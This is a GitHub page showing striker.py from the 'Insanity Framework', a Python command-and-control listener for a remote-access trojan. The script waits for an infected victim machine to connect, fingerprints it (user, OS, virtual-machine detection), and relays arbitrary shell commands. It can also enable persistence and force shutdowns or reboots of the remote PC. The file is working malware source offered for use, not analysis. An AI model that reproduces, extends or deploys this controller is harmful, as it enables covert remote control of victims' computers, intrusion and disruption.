-
Notifications
You must be signed in to change notification settings - Fork 97
/
striker.py
190 lines (169 loc) · 8.18 KB
/
striker.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
#!/usr/bin/python
# -*- coding: iso-8859-15 -*-
# Copyright 2017 Insanity Framework (IF)
# Written by: * Alisson Moretto - 4w4k3
# https://github.com/4w4k3/Insanity-Framework
# Licensed under the BSD-3-Clause
from socket import *
import os
import sys
from bin.settings import exec_com
from bin.settings import BLUE, RED, WHITE, GREEN, END
if not os.geteuid() == 0:
sys.exit('Insanity must be run as root')
HOST = ''
PORT = int(raw_input('Tʏᴘᴇ ᴛʜᴇ ᴘᴏʀᴛ: '))
def clear():
os.system('clear')
def heading():
sys.stdout.write(RED + '''
.o oOOOOOOOo OOOo
Ob.OOOOOOOo OOOo. oOOo. .adOOOOOOO
OboO"""""""""""".OOo. .oOOOOOo. OOOo.oOOOOOo.."""""""""'OO
OOP.oOOOOOOOOOOO "POOOOOOOOOOOo. `"OOOOOOOOOP,OOOOOOOOOOOB'
`O'OOOO' `OOOOo"OOOOOOOOOOO` .adOOOOOOOOO"oOOO' `OOOOo
.OOOO' `OOOOOOOOOOOOOOOOOOOOOOOOOO' `OO
OOOOO '"OOOOOOOOOOOOOOOO"` oOO
oOOOOOba. .adOOOOOOOOOOba .adOOOOo.
oOOOOOOOOOOOOOba. .adOOOOOOOOOO@^OOOOOOOba. .adOOOOOOOOOOOO
OOOOOOOOOOOOOOOOO.OOOOOOOOOOOOOO"` '"OOOOOOOOOOOOO.OOOOOOOOOOOOOO
"OOOO" "YOoOOOOMOIONODOO"` . '"OOROAOPOEOOOoOY" "OOO"
Y 'OOOOOOOOOOOOOO: .oOOo. :OOOOOOOOOOO?' :`
: .oO%OOOOOOOOOOo.OOOOOO.oOOOOOOOOOOOO? .
. oOOP"%OOOOOOOOoOOOOOOO?oOOOOO?OOOO"OOo
'%o OOOO"%OOOO%"%OOOOO"OOOOOO"OOO':
`$" `OOOO' `O"Y ' `OOOO' o .
. . OP" : o .
: ʙʏ: ''' + WHITE + '''Alisson Moretto(''' + RED + '''4ᴡ4ᴋ3''' + WHITE + ''')''' + RED + '''
-- [I]nsanity [F]ramework -- Version: 0.1
''' + END)
def pp():
sys.stdout.write(RED + '''
$u #$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$~
$# `"$$$$$$$$$$$$$$$$$$$$$$$$$$| [PROPANE |$$$$$$$
$i $$$$$$$$$$$$$$$$$$$$$$$$$$| [NIGHTMARE |$$$$$$$$
$$ #$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
#$. $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#
$$ $iW$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$!
$$i $$$$$$$#"" `"""#$$$$$$$$$$$$$$$$$#""""""#$$$$$$$$$$$$$$$W
#$$W `$$$#" " !$$$$$` `"#$$$$$$$$$$#
$$$ `` ! !iuW$$$$$ #$$$$$$$#
#$$ $u $ $$$$$$$ $$$$$$$~
"# #$$i. # $$$$$$$. `$$$$$$
$$$$$i. """#$$$$i. .$$$$#
$$$$$$$$! . ` $$$$$$$$$i $$$$$
`$$$$$ $iWW .uW` #$$$$$$$$$W. .$$$$$$#
"#$$$$$$$$$$$$#` $$$$$$$$$$$iWiuuuW$$$$$$$$W
!#"" "" `$$$$$$$##$$$$$$$$$$$$$$$$
i$$$$ . !$$$$$$ .$$$$$$$$$$$$$$$#
$$$$$$$$$$` $$$$$$$$$Wi$$$$$$#"#$$`
#$$$$$$$$$W. $$$$$$$$$$$# ``
`$$$$##$$$$! i$u. $. .i$$$$$$$$$#""''' + WHITE + ''' InSaNiTy FrAmEwOrK''' + RED + '''
" `#W $$$$$$$$$$$$$$$$$$$` u$#
W$$$$$$$$$$$$$$$$$$ $$$$W
$$`!$$$##$$$$``$$$$ $$$$!
i$" $$$$ $$#"` """ W$$$$
''' + END)
clear()
heading()
def mess():
print '[*] O.S.: ' + data2
if vm == 'True':
print '[*] Virtual Machine: {0}Detected{1}'.format(RED, END)
else:
print '[*] Virtual Machine: Not Detected'
print '-{0} Type a remote shell command{1} - {0}[{1}ex: ipconfig{0}]{1}: '.format(BLUE, END)
print '- {0}Run insanity modules{1} - {0}[{1}view available modules on help message{0}]{1}: '.format(BLUE, END)
print '-{0} ʜᴇʟᴘ {1}- {0}[{1}View help message and modules{0}]{1}: '.format(BLUE, END)
s = socket(AF_INET, SOCK_STREAM)
print '[!] Waiting Connections '
s.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
s.bind((HOST, PORT))
print "[*] Listening on: 0.0.0.0:%s" % str(PORT)
s.listen(10)
conn, addr = s.accept()
print '[*] Connection: ' + '{0}ESTABLISHED{2}'.format(GREEN, WHITE, END)
data = conn.recv(1024)
ip = conn.recv(1024)
conn.send('whoami')
data2 = conn.recv(1024)
vm = conn.recv(1024)
#oss = conn.recv(1024)
mess()
def help():
print '''
- [I]nsanity [F]ramework -
ᴛʏᴘᴇ {0}info{1} - {0}[{1}show info about victim{0}]{1}
ᴛʏᴘᴇ {0}persistence{1} - {0}[{1}enable persistence{0}]{1}
ᴛʏᴘᴇ {0}shutdown{1} - {0}[{1}turn off remote pc{0}]{1}
ᴛʏᴘᴇ {0}restart{1} - {0}[{1}reboot remote pc{0}]{1}
ᴛʏᴘᴇ {0}back{1} - {0}[{1}return to main menu{0}]{1}
ᴛʏᴘᴇ {0}quit{1} - {0}[{1}tool exit{0}]{1}
'''.format(BLUE, END)
# start loop
def main():
try:
while 1:
# enter shell command
header = ('{0}InSaNiTy{1} > {2}'.format(RED, WHITE, END))
command = raw_input(header)
if command.upper() == 'QUIT':
clear()
pp()
conn.close()
elif command.upper() == 'HELP':
help()
elif command.upper() == 'INFO':
mess()
elif command.upper() == 'BACK':
exec_com('insanity.py')
elif command.upper() == 'PERSISTENCE':
try:
conn.send('persistence')
print '[*] Persistence module enabled'
except:
print '\n'
print '{0}Remote host are disconnected{1} '.format(RED, END)
print '\n' + 'ᴛʏᴘᴇ {0}ʙᴀᴄᴋ{1} - {0}[{1}ʀᴇᴛᴜʀɴ ᴛᴏ ᴍᴀɪɴ ᴍᴇɴᴜ{0}]{1}'.format(BLUE, END)
print 'ᴛʏᴘᴇ {0}ǫᴜɪᴛ{1} - {0}[{1}ᴛᴏᴏʟ ᴇxɪᴛ{0}]{1}'.format(BLUE, END)
elif command.upper() == 'SHUTDOWN':
try:
conn.send('shutdown -s -t 00 -f')
except:
print '\n'
print '{0}ʀᴇᴍᴏᴛᴇ ʜᴏsᴛ ʜᴀs ʙᴇᴇɴ ᴅɪsᴄᴏɴɴᴇᴄᴛᴇᴅ{1} '.format(RED, END)
print '\n' + 'ᴛʏᴘᴇ {0}ʙᴀᴄᴋ{1} - {0}[{1}ʀᴇᴛᴜʀɴ ᴛᴏ ᴍᴀɪɴ ᴍᴇɴᴜ{0}]{1}'.format(BLUE, END)
print 'ᴛʏᴘᴇ {0}ǫᴜɪᴛ{1} - {0}[{1}ᴛᴏᴏʟ ᴇxɪᴛ{0}]{1}'.format(BLUE, END)
elif command.upper() == 'RESTART':
try:
conn.send('shutdown -r -t 00 -f')
except:
print '\n'
print '{0}ʀᴇᴍᴏᴛᴇ ʜᴏsᴛ ʜᴀs ʙᴇᴇɴ ᴅɪsᴄᴏɴɴᴇᴄᴛᴇᴅ{1} '.format(RED, END)
print '\n' + 'ᴛʏᴘᴇ {0}ʙᴀᴄᴋ{1} - {0}[{1}ʀᴇᴛᴜʀɴ ᴛᴏ ᴍᴀɪɴ ᴍᴇɴᴜ{0}]{1}'.format(BLUE, END)
print 'ᴛʏᴘᴇ {0}ǫᴜɪᴛ{1} - {0}[{1}ᴛᴏᴏʟ ᴇxɪᴛ{0}]{1}'.format(BLUE, END)
else:
try:
if command != '':
data = ''
conn.send(command)
try:
s.settimeout(5.0)
conn.settimeout(5.0)
data = conn.recv(4096)
print data
s.settimeout(None)
conn.settimeout(None)
except:
print '[*] ᴄᴏᴍᴍᴀɴᴅ ᴇxᴇᴄᴜᴛᴇᴅ'
except:
print '\n'
print '{0}ʀᴇᴍᴏᴛᴇ ʜᴏsᴛ ʜᴀs ʙᴇᴇɴ ᴅɪsᴄᴏɴɴᴇᴄᴛᴇᴅ{1} '.format(RED, END)
print '\n' + 'ᴛʏᴘᴇ {0}ʙᴀᴄᴋ{1} - {0}[{1}ʀᴇᴛᴜʀɴ ᴛᴏ ᴍᴀɪɴ ᴍᴇɴᴜ{0}]{1}'.format(BLUE, END)
print 'ᴛʏᴘᴇ {0}ǫᴜɪᴛ{1} - {0}[{1}ᴛᴏᴏʟ ᴇxɪᴛ{0}]{1}'.format(BLUE, END)
except KeyboardInterrupt:
clear()
pp()
conn.close()
if __name__ == '__main__':
main()